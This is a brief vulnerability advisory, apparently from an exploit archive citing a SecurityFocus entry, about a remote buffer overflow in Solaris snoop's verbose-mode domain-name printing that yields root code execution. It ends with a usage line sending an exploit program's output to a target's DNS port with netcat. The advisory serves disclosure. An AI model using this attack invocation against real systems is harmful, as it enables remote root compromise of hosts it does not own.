Solaris的snoop程序存在缓冲区溢出漏洞。远程攻击者借助使用snoop冗长模式下的长域名可以获得root权限。

source: http://www.securityfocus.com/bid/858/info

If a solaris machine is running snoop in verbose mode, it may be possible to compromise its security remotely by exploiting a buffer overflow in snoop. The problem is a buffer with a predefined length of 1024 that can be overflowed in the print_domain_name function. The priviliges granted to arbitrary code which could be executed would be those of the user running snoop, root.

   run with ( ./snp ) | nc -u target_host_network 53
   requires target host to be running "snoop"
